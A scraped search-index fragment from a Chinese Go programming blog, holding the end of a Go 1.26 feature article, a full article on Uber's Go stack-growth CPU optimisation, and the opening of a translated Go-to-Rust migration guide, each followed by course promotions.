synctest，可以在几毫秒内确定性地跑完！这不仅将测试速度提升了千百倍，更重要的是，它让多线程的交织执行变得绝对确定且可控。这是给所有硬核后端开发者的巨大福音。\n零代码修改，性能飙升 50%：绿茶垃圾回收器（Green Tea GC） 如果说前面的工具是为了提升开发效率（Productivity），那么接下来的底层架构升级，则是为了捍卫 Go 在云计算领域的绝对统治力（Production Readiness）。\n在云原生时代，Docker、Kubernetes、Terraform 全都是用 Go 写的。Go 必须榨干每一滴硬件性能。\n在 Go 1.25 实验性引入、并在 1.26 默认启用的 Green Tea（绿茶）垃圾回收器，是一次系统级的底层重构。\n传统的 GC 算法是将内存视为一个个零散的对象进行扫描和回收，这种设计在现代多核 CPU 面前显得极其低效。而 Green Tea GC 则完全顺应了现代硬件的设计哲学：\n按页（Pages）处理：它将工作的基本单元从单个对象，转变为大块连续的内存页。 向量化加速：它允许运行时极其高效地利用现代 CPU 的高吞吐量向量加速指令（SIMD）。 缓存友好：大幅减少了高延迟的内存提取。 最恐怖的是它的收益：在不修改你任何一行业务代码的前提下，升级到 Go 1.26 后，大多数应用的 GC CPU 开销直接下降了 10%；而对于那些内存布局极其复杂的重型应用，CPU 消耗甚至能暴跌 50%！\n此外，Go 1.26 还在运行时做出了多项优化：\n更多的栈分配：通过更智能的逃逸分析，将大量原本需要在堆（Heap）上分配的内存，直接转移到栈（Stack）上。栈分配不仅速度快，而且对 GC 零负担，缓存局部性极佳。 CGo 调用提速 30%：极大地降低了跨界调用的成本，这使得 Go 语言能够更轻松地切入对底层硬件库依赖极强的机器学习（ML）、游戏引擎和 GUI 领域。 这就是 Go 对兼容性承诺的最美诠释：你只需要升级版本并重新编译，你的系统就自动变得更强了。\n拥抱 AI：MCP 官方 SDK 与未来的开发生态 在大模型全面爆发的今天，让 AI 能够理解并操作系统，成为了关键的技术壁垒。\n去年，Go 官方悄然发布了 Model Context Protocol (MCP) 的官方 SDK。\nMCP 是什么？它是一个让你的服务能够标准化地为 LLMs（大语言模型）提供上下文和工具调用的协议。\n借助这个 SDK，你可以极其可靠地利用 Go 的并发和网络能力，将你的企业数据、内部 API 甚至本地文件系统，安全地暴露给 AI 智能体。\n不仅如此，Google 自己也在“吃狗粮”。他们正在利用这个 MCP SDK，构建能够向 AI 开发工具暴露更多 Go 工具链（Toolchain）能力的服务器。比如，在官方的语言服务器 gopls 中，已经内置了一个实验性的 MCP server。\n这意味着，在未来，像 Cursor 这样的 AI 编程助手，将能够通过 MCP 协议，直接读取你的项目依赖、调用 gofix 重构代码、甚至运行特定的并发测试，从而实现真正意义上的“AI 自动化工程”。\n小结：为什么 20 年后，Go 依然是开发者的首选？ 近 20 年过去了，软件开发的世界经历了从单体架构到微服务，从云原生到 AI 智能体的天翻地覆。许多曾经风光无限的语言渐渐老去，但 Go 却显得愈发年轻和强壮。\n这场发布会揭示了 Go 长盛不衰的核心密码：它从来不仅仅是一门语言，它是一个端到端的软件工程平台。\n当其他语言在追求花哨的语法糖时，Go 在默默地优化 gofmt 和 gofix，确保几百人协作时代码风格绝对一致；\n当其他语言在纠结垃圾回收停顿时，Go 推出了 Green Tea GC，默默帮你省下千万级的服务器账单；\n当 AI 时代来临时，Go 以其极简的机器可读性和强大的 MCP 协议支持，成为了 AI 智能体最坚实的后端基座。\n如果你想在今天构建一个能在 10 年后依然易于维护、性能强劲、且对 AI 极度友好的系统。\n答案很无聊，但很明确：选择 Go。\n资料链接：https://www.youtube.com/watch?v=l4lneZYtjQg\n今日开放讨论：\n你的项目中，存在因为“代码老化”而不敢轻易重构的历史遗留模块吗？Go 1.26 引入的 gofix inline 自动化升级思路，是否能为你的团队带来启发？\n欢迎在评论区分享你的技术债血泪史，我们一起探讨 AI 时代的重构之道！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/05/29/google-io-2026-automated-go-refactoring-eliminating-technical-debt/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/google-io-2026-automated-go-refactoring-eliminating-technical-debt-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/05/29/google-io-2026-automated-go-refactoring-eliminating-technical-debt\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/05/29/google-io-2026-automated-go-refactoring-eliminating-technical-debt\"\u003ehttps://tonybai.com/2026/05/29/google-io-2026-automated-go-refactoring-eliminating-technical-debt\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在软件开发的世界里，一直存在着一个令人绝望的“二选一”魔咒。\u003c/p\u003e\n\u003cp\u003e你要么选择 Python 或 JavaScript：它们写起来如丝般顺滑，能让你在周五下午迅速完成一个功能；但当业务量爆炸、公司准备上市时，那些深埋在代码里的性能瓶颈和类型错误，会让你在无数个深夜里怀疑人生。\u003c/p\u003e","title":"无痛消灭技术债：Google I/O 2026 开启 Go 自动重构时代"},{"content":"\n本文永久链接 – https://tonybai.com/2026/05/28/uber-reveals-hidden-cost-of-go-stack-growth-10-percent-cpu-savings\n大家好，我是Tony Bai。\n在顶级互联网巨头的底层架构中，性能优化绝不仅仅是写两段优雅的代码，而是一场“刀尖舔血”的硬核战争。\n试想一下，如果你的公司拥有超过 200 万个 CPU 核心（Cores），且其中 65% 的微服务完全由 Go 语言驱动，会发生什么？在 Uber 这样的计算体量下，哪怕仅仅提升 1% 的 CPU 效率，每年都能为公司省下数百万美元的真金白银。\n最近，Uber 基础架构团队在对核心服务进行性能 Profiling 时，抓出了一个隐藏极深的 CPU “吸血鬼”。这个内鬼既不是复杂的业务逻辑，也不是被千夫所指的垃圾回收（GC），而是 Go 语言引以为傲的并发基石——Goroutine 栈扩容（Stack Expansion）。\n在部分核心微服务中，仅仅是栈扩容（runtime.copystack）这一项底层操作，就吞噬了近 10% 的 CPU 资源！而在 Uber 全局 600 多个微服务大盘中，栈拷贝的平均成本也高达 3.9%（作为对比，代价高昂的 GC 平均成本约为 7.3%）。\n面对如此惊人的性能黑洞，Uber 的工程师们没有选择向官方妥协。他们直接向 Go 运行时（Runtime）开刀，甚至手撕底层汇编代码，硬生生把这 10% 的 CPU 损耗压到了 0.0047%。不仅如此，他们还将研究成果反哺给 Go 官方社区（Issue #77893），正在推动 Go 语言栈分配机制的历史性进化。\n今天，就让我们扒开 Go 运行时的源码，重走一遍 Uber 团队打赢这场性能保卫战的硬核之旅。\n剖析“案发现场”：Go 栈扩容的阿喀琉斯之踵 熟悉 Go 的开发者都知道，Go 在全球范围内大杀四方的核心武器就是 Goroutine（协程）。\n为了实现极高的并发密度，Go 语言在设计上做了一个大胆的取舍：与传统的操作系统线程（OS Thread，如 pthread_create 动辄分配 2MB 或 4MB 的初始栈）不同，一个 Goroutine 的初始栈空间仅仅只有 2KB。\n这种设计的优势是极其明显的：你可以轻松在一台普通机器上拉起数十万甚至上百万个 Goroutine，而不用担心内存溢出（OOM）。但天下没有免费的午餐，如果你的函数调用层级过深，或者在函数内部声明了较大的局部变量，区区 2KB 的栈空间瞬间就会被撑爆。\n当 2KB 不够用时，Go 会怎么做？\nUber 团队在博客中深入解释了这一机制：Go 编译器会在每个函数的序言（Prologue）阶段插入一段检查指令，对比当前的栈指针（Stack Pointer）是否超过了阈值。\n用于演示栈扩展过程的示例汇编代码\n第 2 行展示了堆栈指针的值。如果该值超过了阈值，程序就会跳转到 runtime.morestack 函数进行处理。\n一旦触发 runtime.morestack，Go 运行时会执行以下昂贵的操作：\n申请一块原栈空间**两倍大（即 4KB）**的新内存。 调用 runtime.copystack，将旧栈的数据原封不动地“拷贝”到新栈中。 极其复杂的一步：更新旧栈中所有指向局部变量的指针，确保它们指向新栈的正确内存地址。 释放 2KB 的旧栈。 如果 4KB 依然不够呢？那就继续分配 8KB、拷贝、释放；再分配 16KB、拷贝、释放……\n在 Uber 复杂的微服务链路中（比如处理庞大的 gRPC 请求、复杂的序列化/反序列化中间件），一个请求进来，往往需要数十 KB 的栈空间。这意味着每次请求都会触发多次徒劳无功的“搬家行为”。在峰值流量下，无数个 Goroutine 都在疯狂扩容，最终导致 CPU 算力被海量的内存拷贝白白挥霍。\n为什么 Go 1.19 的“自适应栈”彻底失效了？ 其实，Go 官方早就意识到了这个问题。在 Go 1.19 版本中，官方高调引入了一项优化：自适应栈大小（Adaptive Stack Size）。\n其设计初衷非常聪明：Go 会在每次垃圾回收（GC）扫描栈时，计算当前所有存活 Goroutine 的平均栈大小。如果当前程序的平均栈大小是 16KB，那么接下来新创建的 Goroutine 就会直接以 16KB 启动，完美避开 2KB -\u0026gt; 4KB -\u0026gt; 8KB -\u0026gt; 16KB 的拷贝地狱。\n但这套看似完美的机制，在 Uber 真实的业务场景下，却彻底崩溃了。\n在向 Go 官方提交的 GitHub Issue #77893 中，Uber 工程师贴出了详细的统计数据。他们发现，微服务中的 Goroutine 栈分布并不是均匀的，而是呈现出典型的双峰分布（Bimodal Distribution）：\n海量的“僵尸”协程：在 Uber 的任意一个实例中，通常会有数千个长时间存活的后台 Goroutine。比如监听配置更新的轮询、阻塞在网络 I/O 上的长连接、或是空闲的 gRPC worker。这些 Goroutine 存活了极长的时间（超过 190 分钟），但它们的栈极浅，通常只有 2KB 到 4KB。 少数的“重装”协程：真正在干活的、处理活跃请求的 Goroutine 数量相对较少，但一旦被触发，它们的栈会迅速膨胀到 16KB 甚至 32KB 以上。 悲剧就此诞生。由于海量的“僵尸协程”疯狂拉低了全局平均值，导致 Go 运行时计算出的平均栈大小永远在 4KB 左右徘徊。结果就是，那些真正需要处理复杂业务的新请求，依然只能以 4KB 悲惨开局，继续遭受 copystack 的毒打。\n寻找解药：为什么常规优化方案行不通？ 在明确了病因后，Uber 团队开始探索解决方案。\n选择 1：Goroutine 池化（Goroutine Pooling）\n这是很多高并发框架爱用的伎俩。Uber 内部的 M3 团队就曾使用过这个方案——让一堆固定数量的 Goroutine 常驻内存，任务来了就丢给它们执行。因为常驻协程已经扩容到了最大栈，所以不会再发生拷贝。\n放弃原因：这需要对全公司的业务代码进行伤筋动骨的重构。协程池不仅增加了代码复杂度，还引入了 Channel 通信的额外 CPU 开销。如果在高负载下任务堆积，还容易导致系统死锁。\n选择 2：手动摸石头过河（Manual Mode）\n运维人员手动改代码，给服务分配 4KB 的初始栈，部署上去看 Profile；不行再改成 8KB，再部署……\n放弃原因：完全不可扩展。Uber 有上千个微服务，靠人力试错无异于天方夜谭。\n常规手段全部碰壁，Uber 的基础架构狂人们决定直接向 Go 运行时的底层规则发起挑战。\n暴力美学：用黑魔法强改 Go 运行时变量 既然运行时的全局平均算法被后台“僵尸任务”带偏了，那我们就强行接管它！\n然而，Go 官方并没有提供任何可以修改初始栈大小的公共 API（这是被隐藏在 runtime 包内部的机制）。为了打破这层封印，Uber 工程师动用了 Go 语言的终极黑魔法：//go:linkname。\n通过 go:linkname 这个编译器指令，Uber 成功绕过了包的可见性限制，强行将自己写的外部函数链接到了 runtime 内部的私有变量上。\n同时，通过GODEBUG关闭了官方的自适应扩容和栈收缩逻辑（debug.gcshrinkstackoff = 1）。\n这里还有一个插曲：由于滥用 linkname 会破坏语言的安全性，Go 官方在 Go 1.23 版本中严格限制了这一机制的使用。为了维持这个 Hack，Uber 甚至被迫在内部维护了一个对 Go 语言源码的 Patch（补丁），专门放开对 startingStackSize 变量的链接权限。\n通过这一通硬核魔改，他们成功为不同的微服务通过配置下发（Runtime Environment Variables）注入了静态的初始栈大小。\n这套暴力魔改的效果，堪称震撼：\n当他们将某个核心请求链路的初始栈静态固定为 32KB 后：\nCPU 吸血鬼被秒杀：runtime.copystack 的耗时从惊人的 39.98 秒（9.77%）垂直暴跌至 0.42 秒（0.0047%）。 整体算力大减负：整个容器的 CPU 实际消耗量直接下降了近 16%。 从图中可见：部署了 32KB 静态栈补丁后，黄线（上周）与绿线（本周）的对比，CPU 使用率出现了明显的下降。\n代价是什么？仅仅是容器多占用了不到 200MB 的物理内存（对于拥有 16GB 内存的微服务节点来说，这不到 2% 的内存开销简直是白送）。这就是系统级工程中典型的**“空间换时间”**神之一手。\n全局扩展：自研汇编解析器，实现智能化预测 让一个服务吃上 32KB 很容易，但如何自动化地推断 Uber 旗下数百个微服务究竟需要多大的栈？\nUber 团队给出了一份教科书级别的“自动化性能反馈回路（Feedback Loop）”方案：\nUber 设计的自动化调整架构。从生产环境拉取 Profile -\u0026gt; 筛选出触发扩容的函数 -\u0026gt; 获取带符号表的二进制文件 -\u0026gt; 逆向反汇编计算栈大小 -\u0026gt; 将最优配置下发给微服务。\n这里的技术难点在于：Profile 只能告诉你哪个函数触发了扩容，但它没法告诉你这个函数到底需要多大的内存。\nUber 的做法简直硬核到了极点：反汇编（Disassembly）。\n他们编写了一个自动化工具，使用 Go 原生的 debug/elf 库解析带有符号表的二进制文件，找到那个罪魁祸首的函数，然后直接读取它的底层汇编指令！\n在 x86 汇编中，函数在进入时会通过减小栈指针寄存器（RSP）来分配当前函数所需的栈帧空间。指令通常长这样：SUB $128, RSP。\nUber 的分析器精准地捕获这条指令，提取出立即数（比如 128 字节），然后沿着 Profile 的调用栈层层累加，最终极其精确地计算出这棵调用树在最深处到底需要多少物理内存！\n通过这种“开天眼”般的方式，Uber 为每一个微服务量身定制了最完美的 2的次幂（如 8KB、16KB、32KB）作为静态启动栈，消灭了全公司的大部分的栈扩容内耗。\n反哺开源：推动 Go 语言社区的历史性进化 Uber 并没有将这个每年能省下数百万美元的黑科技据为己有。\n在验证了方案的巨大威力后，Uber 工程师带着详尽的生产级数据，敲开了 Go 官方 GitHub 的大门（Issue #77893），期望从语言底层寻找一种更优雅、无需魔改代码的终极解法。\n这引起了 Go 核心开发团队（如 Keith Randall, thepudds）的高度重视。针对 Uber 揭示的“双峰分布”导致平均值失效的痛点，社区目前正在紧锣密鼓地测试几项革命性的补丁（如 CL 758141, CL 764220）：\n剔除“僵尸”协程（Filtering Inactive Goroutines）：在计算全局平均栈大小时，直接把那些在过去一两个 GC 周期内完全没动过、一直阻塞在 Select 或 I/O 上的长时协程排除在数学公式之外。 放弃平均值，改用 P90 算法：不再使用易被极端值影响的平均数（Mean），转而追踪所有新销毁协程栈大小的 P75 或 P90 分位数。 内存阈值保护：为了防止盲目分配导致 OOM，Go 可能会引入一个软上限：只要预测的较大初始栈带来的额外内存开销，不超过程序总堆（Heap）大小的 1%，就允许新协程以更大的姿态启动。 Uber 工程师在他们的基础服务中测试了 Go 官方仍在 WIP（开发中）的“P90 + 剔除僵尸协程”补丁。结果令人振奋：在不写一行魔改代码的情况下，服务的 copystack 成本自动下降了高达 80%！\n不出意外的话，在即将到来的 Go 新版本中，全球数以百万计的 Go 开发者，都将免费享受到由 Uber 趟出的这条性能优化之路。\n小结：给高阶开发者的三个启示 从 Uber 这次优化战役中，我们应当汲取到系统级优化的深刻智慧：\n没有永恒的银弹（No Silver Bullet）：Go 的 2KB 极轻量级并发机制让它在网络编程中大杀四方，但在重度计算和深层中间件调用的微服务中，初始内存过小反而成了 CPU 杀手。理解底层的 tradeoff（空间换时间）是每一位高阶架构师的必修课。 让 Profiling 成为上帝之眼：如果 Uber 没有建立起常态化、Fleet-wide的 CPU Profiling 机制，这 10% 的算力损耗将永远隐藏在数据中心的嗡嗡作响中，无人知晓。性能优化，永远是数据驱动的。 敬畏底层，但也敢于重塑底层：遇到语言层面的严重瓶颈，平庸的工程师会说“官方机制就是这样，没办法”；但顶级的极客会直接打开源码，用 go:linkname 强行逆天改命，手撕机器汇编，最后再拿着硬核数据去推动官方修改世界规则。 技术的世界里永远没有绝对的黑盒，有的只是一次又一次在极限边缘的疯狂试探。今天，Uber 帮全球的 Go 开发者点亮了一盏明灯，而在不远的未来，这束光将照亮我们运行在云端的每一行代码。\n资料链接：\nhttps://www.uber.com/us/en/blog/zero-growth-stack https://github.com/golang/go/issues/77893 还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/05/28/uber-reveals-hidden-cost-of-go-stack-growth-10-percent-cpu-savings/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/uber-reveals-hidden-cost-of-go-stack-growth-10-percent-cpu-savings-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/05/28/uber-reveals-hidden-cost-of-go-stack-growth-10-percent-cpu-savings\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/05/28/uber-reveals-hidden-cost-of-go-stack-growth-10-percent-cpu-savings\"\u003ehttps://tonybai.com/2026/05/28/uber-reveals-hidden-cost-of-go-stack-growth-10-percent-cpu-savings\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在顶级互联网巨头的底层架构中，性能优化绝不仅仅是写两段优雅的代码，而是一场“刀尖舔血”的硬核战争。\u003c/p\u003e\n\u003cp\u003e试想一下，如果你的公司拥有超过 \u003cstrong\u003e200 万个 CPU 核心（Cores）\u003c/strong\u003e，且其中 65% 的微服务完全由 Go 语言驱动，会发生什么？在 Uber 这样的计算体量下，哪怕仅仅提升 \u003cstrong\u003e1%\u003c/strong\u003e 的 CPU 效率，每年都能为公司省下数百万美元的真金白银。\u003c/p\u003e","title":"省下 10% CPU！Uber 揭秘 Go 栈扩容的隐秘代价"},{"content":"\n本文永久链接 – https://tonybai.com/2026/05/27/migrate-go-to-rust\n大家好，我是Tony Bai。\n在现代后端系统编程领域，Go 和 Rust 无疑是最耀眼的两大双子星。它们都拥有静态类型、编译型、单二进制文件分发等优异特性。然而，这两门语言在底层的设计哲学、运行时权衡以及开发者体验上，走向了截然不同的方向。\nMatthias Endler（Corrode 咨询公司创始人）撰写的《从 Go 迁移到 Rust》（Migrating from Go to Rust）是近年来系统编程领域极具深度的一篇迁移指南。作为在生产环境中同时大规模部署过 Go 和 Rust 系统的资深架构师，Matthias 并没有陷入单纯的“谁比谁快”的无意义争论，而是从正确性保证、运行时权衡、工程重构成本等多个维度，客观地为准备进行语言迁移的团队提供了一份极其务实的工程路线图。\n以下是该迁移指南的完整简体中文译文，以及技术社区对于此文的精彩技术辩论与观点。\n在我协助团队进行的所有迁移中，从 Go 到 Rust 的迁移是一个特例。\n这并不是“Rust 会更快吗？”或“Go 是否拥有类型系统？”的问题，因为 Go 在这些方面已经做得很好了。这里的讨论主要围绕正确性保证、运行时权衡以及开发人员体验展开。\n在开始之前，先做一个简短的免责声明：本指南高度侧重于后端。后端服务是 Go 的强项所在——小巧的静态二进制文件、专注于网络连接的标准库，以及用于 HTTP 服务器、gRPC、数据库等的庞大生态系统。\n这也是大多数考虑使用 Rust 的团队的来源（至少是那些联系我的团队），因此我认为这是在实践中最有用的对比。如果你正在编写命令行工具（CLI）、嵌入式固件或游戏引擎，本文中的一些内容仍然适用，但老实说，我恐怕这不是最适合你的资源。\n作为背景，我之前曾写过关于 Go 和 Rust 对比的文章，比如 2017 年的《Go vs Rust？选择 Go》，以及后来与 Shuttle 团队合作撰写的《Go vs Rust：实操对比》，后者通过一个小型后端服务展示了两种语言的具体差异。\n你将在本文中学到什么\nGo 与 Rust 的重叠点和分歧点。 Go 的模式如何映射到 Rust。 你能从借用检查器中获得什么。 我在什么情况下会建议人们保留 Go，以及在什么情况下 Rust 值得进行迁移。 如何渐进式地迁移 Go 服务。 我的背景与立场 坦白说：我不是 Go 的粉丝。我认为它是一门设计糟糕的语言，尽管它非常成功。它混淆了简单性（simplicity）与易用性（easiness），并且它的几个核心设计折中——无处不在的 nil、作为纪律规则而非类型的错误处理、长期缺失的泛型——都将设计引向了我所不认同的方向。尽管如此，成功才是硬道理！Go 已经捕获了庞大且持久的活跃开发者份额，在 JetBrains 开发者生态系统调查中一直维持在 17-19% 左右。Rust 正在稳步增长，但目前仍然只占一小部分：\n图：2017-2024 年开发者中 Go 和 Rust 的使用情况\nGo 显然对很多人都非常适用，而一个假装其不适用的指南是毫无帮助的。因此，在这份指南中，我将尽最大努力保持客观，而不是去重新争论那些老问题。但你应该了解我的先验立场，以便进行校准。\n另一个值得披露的前提是：我运行着一家 Rust 咨询公司；所以，我当然是有偏见的！更多人使用 Rust 对我的业务是有利的。但我也在专业领域中使用过这两门语言，并曾将 Go 服务推向生产环境。\n本指南适用于那些希望诚实对比迁移到 Rust 时会有什么变化的 Go 开发者。\n如果想看一个故意持相反立场的观点，我推荐阅读 Blain Smith 的《就用 Go语言好了，别他妈的废话了！》（Just Fucking Use Go）。在脑海中同时保留这两种观点，比只持其中一种更有用。\n如果你更喜欢观看视频而不是阅读，这里有一段来自 The Primeagen 对上述 Shuttle 文章的视频阅读和点评：\n(视频：Rust vs Go: Hands On Comparison)\n初看最重要的命令 Go 开发者已经拥有了行业内最干净的工具链之一。在很久以前，它就开启了“自带电池（batteries included）”式工具链的潮流，为你提供了一个单一、一致的界面，用于构建、测试、格式化、lint 和管理依赖项。我很高兴 Rust 也效仿了这种做法，因为这是一个极好的模式。这是我最喜欢的这两个生态系统的部分之一。\ncargo 甚至拥有更多内置功能：\n最大的区别在于，在 Go 中你通常需要借助第三方工具（golangci-lint、mockgen、air、goreleaser）来填补空白。而在 Rust 中，原生(第一方)生态系统开箱即用的功能要丰富得多。有些需要外部 crate 的工具（例如 cargo watch、cargo nextest）只需一个命令即可完成安装并开始使用，例如运行 cargo install cargo-nextest 即可立即获得 cargo nextest。\n两个社区在格式化工具上都达成了相同的共识：一个单一的、规范的风格，即使不是完美的，也远比在琐碎的争论（bikeshedding）上浪费时间要好。\n“Gofmt 的风格不是任何人的最爱，但 gofmt 却是每个人的最爱。”\n— Rob Pike, Go Proverbs\n对于 rustfmt 也是如此；并非每个人都喜欢它的每个细节，但代码评审中不再存在关于代码风格的争端，远比偶尔遇到你不喜欢的格式化偏好要有价值得多。\nGo 与 Rust 的关键差异 核心结论是，Go 和 Rust 都是编译型、静态类型、单二进制文件部署、具有强大并发能力的语言。不同之处在于编译器向你保证了什么，以及你对运行时行为拥有多少控制力。\n在深入探讨之前，有一个概念框架很有帮助：当你从 Go 迁移到 Rust 时，大部分变化都会被推入类型系统。 空值处理、错误传播、数据竞争、资源生命周期、取消机制、泛型，这些在 Go 中要么依赖运行时规范、工具链（go vet、errcheck、golangci-lint、-race），要么依赖运行时的自觉性。而 Rust 则将它们编码为类型，以便编译器在编译时强制执行。\n常见的反对意见是这带来了“更多的认知负荷”。我不认同这种说法。我认为，这其实是将认知负荷从你由于必须记住规则而产生的焦虑中释放出来，转移到了编译器身上。一旦你内化了这种模式，并发现它在代码中无处不在（Option、Result、\u0026amp;mut T、Send/Sync、RAII 守卫），Rust 就会停止让你感到沉重，并开始感觉编译器正在为你做你以前必须在大脑中做的工作。\n为什么 Go 开发者会考虑 Rust Go 开发者通常不会因为 Go “太慢”而转向 Rust。对于大多数后端工作负载，Go 已经足够快了。人们普遍是对 Go 的一些由于设计不严密而产生的问题感到沮丧：nil 指针带来的隐患、段错误（segmentation faults）的风险、缺乏泛型（长期以来）或任何更复杂的类型系统特性（如枚举和强大的 trait），以及标准库中存在一些怪异的缺失，例如缺少一个内置的 Set 类型（惯用的替代方案是 map[T]struct{}，它在实践中行得通，但感觉类型系统并没有真正起到作用）。\n生产环境中的 nil panics 你部署了一个 Go 服务，它运行得很好，持续了几个月。然后，某条代码路径被执行，而其中有人忘记检查某个指针是否为 nil，导致 goroutine 崩溃。一个常见的例子是查找操作，它返回零值，或者反序列化后未填充结构体中的某个指针字段：\nfunc (s *Service) Handle(req *Request) error { // Find 返回 (*User, error)。如果是 \u0026#34;not found\u0026#34;，error 为 nil； // 调用者应该检查 user != nil，但这非常容易被遗漏。 user, err := s.repo.Find(req.UserID) if err != nil { return err } return user.Account.Notify() // 如果 user 为 nil，或 Account 为 nil，则会发生崩溃 } Linter 和 IDE 会捕获其中一些情况（通过 nilaway、staticcheck），但它们是选择性开启的、概率性的，而且不能可靠地跨越包边界。Rust 的编译器则根本不允许你忽略这种情况。Rust 的 Option 可以做到：\nfn handle(\u0026amp;self, req: \u0026amp;Request) -\u0026gt; Result\u0026lt;(), ServiceError\u0026gt; { let user = self.repo.find(req.user_id)?; // 返回 Option\u0026lt;User\u0026gt;; ? 运算符进行短路处理 user.notify() } 如果没有显式处理 None 的情况，你甚至无法解引用一个 Option。一整类导致 pager-duty（线上紧急警报）事件的事故就这样消失了。\n-race 未能捕获的数据竞争 go test -race 是一个优秀的工具，但它是一个运行时检测器，意味着它只能找到测试中实际执行到的竞争。在线上高负载下，多个 goroutine 在没有锁的情况下修改同一个 map 会轻松绕过该测试，并导致生产环境崩溃。\n在 Rust 中，跨线程共享可变状态需要实现 Send 和 Sync。尝试共享一个普通的 HashMap 并且程序甚至无法编译。你被迫将其封装在 Arc\u0026lt;Mutex\u0026lt;…\u0026gt;\u0026gt; 或 Arc\u0026lt;RwLock\u0026lt;…\u0026gt;\u0026gt; 中，否则编译器会报错。这样，数据竞争在编译时就成了一个类型错误。\nPaul Dix 对于什么促使了 InfluxDB 3.0 的重写非常坦诚，而数据竞争的故事就排在最前面：\n“【最主要的好处是】无畏并发——消除了此前我们从未消除的数据竞争。在 Influx 1.x 版本中，确实存在一些非常棘手的 bug。”\n— Paul Dix, InfluxData 创始人兼 CTO，摘自 Rust in Production\n可组合的错误处理 在 Go 中，你会写：\nif err != nil { return err } 在一两年的开发后，你通常会注意到三件事：\n样板代码冲淡了你函数的实际业务逻辑。 使用 fmt.Errorf(“doing X: %w”, err) 包装错误是一项纪律要求，而不是编译器强制的规则。这很容易丢失上下文。 通过 errors.Is/errors.As 使用哨兵错误可以工作，但当你忘记处理新变体时，编译器不会提醒你。 对反方观点保持诚实也很重要，因为在关于我的 Shuttle 文章的 Lobste.rs 讨论线程中，经验丰富的 Go 开发者指出，errcheck 和 golangci-lint 捕获了绝大多数“忘记处理错误”的情况，并且显式的 if err != nil 比深层嵌套的 ? 链更容易阅读。这两个观点都很中肯，显式风格是一个刻意的文化抉择，而不是一次疏忽：\n“我认为错误处理应该是显式的，这应该是该语言的核心价值。”\n— Peter Bourgon, GoTime #91，引用自 Dave Cheney 的 Zen of Go\n我的看法是，lint 是一个你必须记住去配置的选择性安全网，而 Rust 的 Result\u0026lt;T, E\u0026gt; 是类型签名本身，无法被遗忘。样板代码与可读性之间的折中是非常真实且见仁见智的。\n在 Rust 中：\n#[derive(Debug, thiserror::Error)] pub enum UserError { #[error(\u0026#34;user {0} not found\u0026#34;)] NotFound(UserId), #[error(\u0026#34;user already exists\u0026#34;)] AlreadyExists, #[error(transparent)] 